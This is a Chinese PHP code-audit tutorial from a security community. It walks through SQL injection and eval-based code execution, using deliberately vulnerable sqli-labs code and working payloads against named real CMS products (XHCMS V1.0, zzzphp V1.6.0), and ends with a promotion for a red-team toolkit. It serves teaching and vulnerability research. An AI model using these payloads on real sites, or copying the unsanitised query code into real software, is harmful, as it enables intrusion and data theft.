404代码审计之0day挖掘秘笈(有彩蛋)

  • A+
所属分类:代码审计


作者:404

责任编辑:ayn

https://www.secquan.org/CodeAudit/1069638

文章虽公开,转载请保留作者和出处,需全文转载请留言

仅供技术交流,勿做非法用途



    大家好我是挖洞4年的练习生404,行侠仗义离不开真才实学,所以跟我一起从0开始入门代码审计吧!

希望大家都能争取早日挖出0day来。


404代码审计之0day挖掘秘笈(有彩蛋)




项目地址:https://github.com/aleenzz/php_bug_wiki

        代码审计感觉还是很重要的,这一块本人算是菜鸟,写本文也是为了总结一下知识,如果其中有什么错误,感谢提醒。


预期的方向:

基础代码审计
|
MVC结构审计
|
框架审计

目前目录

目录

初级

1.0 初识代码审计
1.1 php配置文件
1.2 sql注入审计
1.3 代码执行审计
1.4 xss与csrf审计
1.5 文件操作审计
1.6 逻辑漏洞审计
1.7 函数或弱类型的缺陷和特性
1.8 变量覆盖审计
1.9 反序列化审计
2.0 通读代码审计思路
2.1 phpstorm+xdebug调试
2.2 经典漏洞审计(1

中级
1.0 MVC结构简介
1.1 MVC审计(一)
1.2 MVC审计(二)
1.3 thinkphp框架简单分析
1.4 thinkphp框架CMS审计
.....

高级

框架漏洞分析(一)
框架漏洞分析(二)

.....

此篇文章只分享前三节,后续章节请持续关注圈子社区公众号。

1.1 初识代码审计

0x00 简介

终于来到了代码审计篇章。希望看了朋友有所收获,我们通常把代码审计分为黑盒和白盒,我们一般结合起来用。

通常我们白盒审计有多种方法我们可以归纳为:

1.通读全文

2.回溯

其中通读全文费时间,但是有利于代码审计的经验积累,也能更深入的挖掘一些难以发现的漏洞。功能回溯我们可以定向的审计一些功能和函数,最常见的就是对命令执行函数的回溯,和上传等功能的审计。通过熟悉白盒审计有利于漏洞的发掘,因为代码审计和开发都能熟悉到程序中那些地方会存在对数据库的操作和功能函数的调用,举个简单的例子当我们看到download的时候,我们就会想到是不是有任意文件下载。

0x01 环境与工具

我们在代码审计中又可以分为静态和动态,静态我们通常用于无法搭建原来的环境只能看代码逻辑来判断是否存在漏洞,而动态调试就可以debug、输出、监控SQL语句来看非常方便。

接下来代码审计工具基本就用到Sublime Text 3、VSCode、Seay源代码审计系统、PHPStorm+XDebug、文件对比、MYSQL监控、编码转换、正则调试等。其中文件对比工具可以拿来和更新补丁后的文件进行对于对比定位漏洞代码区,PHPStorm+XDebug可以动态调试定位漏洞成因,也有利于漏洞的发掘。当然你也可以用那些自动化审计的,貌似还支持代码回溯,还是能审计到一些漏洞的。环境能用基本就用phpstudy了。

0x02 知识准备

代码审计我们需要对php有一定的了解,当然是越深入越好,我们也不纠结,代码审计需不需要精通php什么的,只能说知识面在什么层次就能审计到什么层次的漏洞,但是至少你得看得懂代码。

我们应该具备一些知识:

1.基本的正则

2.数据库的一些语法(这个我在前面的数据库维基已经讲的差不多了)

3.至少你得看懂php代码

4.php配置文件以及常见函数

0x03 关于文章的一些问题

前面我们的实验环境我基本上不会使用框架类的,我尽量使用一些很普通的网站,还有如何用phpstudy之类的来本地搭建网站这些我也不会讲,这些基础的问题搜索一下就有,不能独立解决问题怎么能进步,遇到一些特殊的问题我还是会说一下的。

0x04 文末

当然如果你跟我一样是一个新手才入门代码审计,看这篇文章最好不过了,因为我会讲的很细,当然我可能很多东西也讲不到,还请大家多看看别人的审计思路,只有不断的学习才有提高。


1.2 SQL注入审计


0x00 简介

为什么第一章我们学习,因为看这篇文章的朋友大概也看过我前面写的MySQL_wiki系列,这里来SQL注入的话我们能方便理解,同时sql注入也是审计中我们经常想要找到的,比较以来就getshell什么的也不现实这种漏洞也不多。

0x01 字符型注入

这里我们看到sqli-libs第一关的代码

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>

我们可以看到调用$_GET['id']获取参数内容,没有经过任何过来带入了SQL语句的查询,也就是代码没有任何过来且没开魔术引号,那么将会形成注入,如果开启魔术引号遇到数字型的我们还是能够注入的,因为magic_quotes_gpc只会转义单引号、双引号、反斜线、NULL,但是数字型注入我们可以不试用到这些。

http://127.0.0.1/sqli/Less-1/?id=-1%27union%20select%201,user(),3--%20+

0x02 编码类注入

有些为了业务需要他会把传入一些编码后的参数再解码带入数据库查询,我们常见的有base64编码,也有的程序会内置url解码,这类写法通常见于框架。

1.base64

<?php
include("../sql-connections/sql-connect.php");
$id=base64_decode($_GET['id']);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if ($row) {
echo "id:".$row['id']."<br>";
echo "用户名:".$row['username']."<br>";
echo "密码:".$row['password']."<br>";
}else{
print_r(mysql_error());
}
echo '<hr>';
echo "查询的语句是:$sql";
?>

传入的值base64解密后带入查询,这种注入魔术引号是没办法拦截的,当我们遇到网站为base64编码的参数时可以留意下。

http://127.0.0.1/sqli/Less-1/base64.php?id=JyB1bmlvbiBzZWxlY3QgMSx1c2VyKCksMyAtLSAr

2.urldecode

<?php
include("../sql-connections/sql-connect.php");
$id=urldecode($_GET['id']);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if ($row) {
echo "id:".$row['id']."<br>";
echo "用户名:".$row['username']."<br>";
echo "密码:".$row['password']."<br>";
}else{
print_r(mysql_error());
}
echo '<hr>';
echo "查询的语句是:$sql";
?>

因为接受的参数只会被url解码一次,传入的值不是魔术引号认识的值所以可以绕过

http://127.0.0.1/sqli/Less-1/base64.php?id=%2527union%20select%201,user(),3--%20+

0x03 宽字节注入

<?php
$conn = mysql_connect('localhost', 'root', 'root');
mysql_select_db("security",$conn);
mysql_query("set names 'gbk' ",$conn);
$id=urldecode($_GET['id']);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if ($row) {
echo "id:".$row['id']."<br>";
echo "用户名:".$row['username']."<br>";
echo "密码:".$row['password']."<br>";
}else{
print_r(mysql_error());
}
echo '<hr>';
echo "查询的语句是:$sql";
?>

网上有很多解释大家可以搜索一下我这里就不详细介绍了大概原因就是:

id=1'->id=1'->id=1%5c%27

id=1%df'->id=1%df%5c%27->id=1%DF5C%27->id=1運'

当然还有其他各种类型的注入这里就不一一列举了,看了mysql系列文章的大概都知道,不知道的可以看看。

0x04 过滤

通常情况下一个成熟的cms是不存在不过滤的情况,一般的程序选择用函数来过滤比如addslashes(),也可以开启魔术引号,但是更多的程序它采用正则匹配来过滤, 使用不正确的匹配替换方式反而导致被绕过的机会更大,比如有的程序把union 替换为空,那么我们就可以双写ununionion绕过从而还可能绕过外部WAF,对于整数型一般采用intval()等字符转换,后期通过实战一步一步讲解。

0x05 实战审计

找了半天源码,还是用这款熊海CMS V1.0吧,这款CMS感觉不错,什么洞都有,非常适合我们学习审计,同时审计这个cms的文章很多,大家如果觉得我写的不如人意,还能看看别人。

首先我们审计对传入的参数如果想快速的看是否有全局过滤,不妨找个文件输出一下$_POST$_GET等等。

echo $_POST['b'];
echo $_GET['a'];

404代码审计之0day挖掘秘笈(有彩蛋)


没有全局过滤 我们来到后台登陆文件admin/files/login.php 看看login.php一般登陆存在注入的可能性还是很大的

404代码审计之0day挖掘秘笈(有彩蛋)

很明显 带入查询的user没有经过任何过滤,同时输出了错误,所以可以用报错查询,当然你也选择万能密码。

payload:

user=1111' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- +&password=111&login=yes

404代码审计之0day挖掘秘笈(有彩蛋)

在看看留言板 files/submit.php

404代码审计之0day挖掘秘笈(有彩蛋)

传入参数没有过滤

404代码审计之0day挖掘秘笈(有彩蛋)

同时插入的时候,这里使用了mysql_error()所以可以用报错注入,否则只能使用盲注了。

404代码审计之0day挖掘秘笈(有彩蛋)

payload:

cid=0&name='or updatexml(1,concat(0x7e,(version())),0) or'&mail=1111&url=http%3A%2F%2F1&content=%E9%98%BF%E5%BE%B7&save=%E6%8F%90%E4%BA%A4&randcode=&jz=1&tz=1

开始我们说过不是使用了过滤函数就万事大吉了,数字型注入可以不使用引号

404代码审计之0day挖掘秘笈(有彩蛋)

我们看到传入的cid已经被addslashes()函数转义了,查询的地方都没啥问题,但是到浏览计数的时候调用了它,那么我们就可以使用盲注或者报错注入了,因为有错误回显。

payload:

http://127.0.0.1/xhcms/?r=content&cid=1%20and%20If(ascii(substr(database(),1,1))%3C10,0,sleep(10))

这个系统还有其他注入,想练手的自己下载审计一下,总体思路有用户交互的地方都有可能存在注入,这也是我们没有通读代码的一个审计思路。


1.3 代码执行审计

0x00 简介

代码执行也是我们经常遇到的,通常是eval()assert(),当然还有回调函数比如call_user_func()array_map(),正则函数,动态调用等等,因为程序对传入的参数过滤不严或者没有过滤,导致代码执行,看过我前面写的php的webshell总结的话,你就会发现很多知识是相辅相成的。

0x01 代码执行

这里说说eval的命令执行,assert在php7后面移除了。我们来看一个简单的eval代码执行

test.php

<?
$id = $_GET['x'];
eval($id);
?>

payload:

test.php?x=phpinfo();

简单到waf以为他是个webshell了,当然我们实际情况肯定遇不到这么简单的,可能需要多重组合利用,这里下面我以一个实例为例



这里使用的是zzzphp V1.6.0的一个解析标签过程中引发的代码执行,网上也有其他人的审计思路,这里我是帮朋友复现的时候弄的。

找个的审计思路是全局搜索eval,当然你也可以搜索其他的能够引发代码执行的函数,但是这个这-1里没有。

路径:inczzz_template.php

404代码审计之0day挖掘秘笈(有彩蛋)

我们发现eval里面有变量,那么他是可能存在代码执行的

404代码审计之0day挖掘秘笈(有彩蛋)

大概看了下parserIfLabel() 函数没有什么过滤,能够达到我们传入任意参数的目的,到了这里我们就是回溯那里调用了这个函数呗,全局搜索下parserIfLabel(),没搜索到,看了下是个类,所以搜索类名ParserTemplate

404代码审计之0day挖掘秘笈(有彩蛋)

既然 adminsave.php 调用了我们这个,不妨看看后台那里有模板操作这个

404代码审计之0day挖掘秘笈(有彩蛋)

当然完全你也可以回溯代码去分析,但是既然有源码能看就看。

404代码审计之0day挖掘秘笈(有彩蛋)

随便找个文件放入我们遵循他正则的代码即可,不过一般我们测试的过程中,尽量选择对目标影响小的文件。

payload:

{if:assert(phpinfo())}x{end if}

于此同类的还有苹果cms8.x,都是在解析标签过程中出现的问题,一般看到可以自定义解析标签那么就值得注意,命令执行与此类似,这里就不说了。


未完待续。。。




很多人问怎么最近没更新了,那是因为团长他们憋了大招出来~


先爆料吧~


1,封装了职业红队的操作系统(单兵装备),划重点是操作系统哦~


集成了AWVS12 Nessus8.4 APPScan等等 各种.net环境 java环境一应俱全,当然还有很多珍藏的工具+字典~


实用性远超市面上的商业单兵工具箱,近期会公益放出~敬请期待


当然,铸剑靶场执法版学员优先体验,更有7kb独家工具箱御剑独家工具箱还有各种定制化的神兵利器集成~



404代码审计之0day挖掘秘笈(有彩蛋)

404代码审计之0day挖掘秘笈(有彩蛋)


404代码审计之0day挖掘秘笈(有彩蛋)


2,在郑州要组织首届 圈子社区-实战派闭门沙龙 以及 第五期铸剑研修班~


404代码审计之0day挖掘秘笈(有彩蛋)


有兴趣的 技术大佬/执法干警 欢迎在留言咨询~


具体进度请关注我们!




欢迎关注 圈子社区官方公众号,不花一混钱,享受最新实战动态!


公益,鲜活,专业

关于圈子社区
我们是一个非盈利,封闭的白帽子技术交流社区。目前成员2000+,拥有业内首个自主研发的红蓝实战靶场(公安部已列装),体系化学习和燃爆的交流气氛助你成为真正的大佬,社区专注实战,崇尚技术,如果你也是实战派,请关注我们。
社区地址:(请使用https访问)
https://www.secquan.org

404代码审计之0day挖掘秘笈(有彩蛋)


本文始发于微信公众号(Secquan圈子社区):404代码审计之0day挖掘秘笈(有彩蛋)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: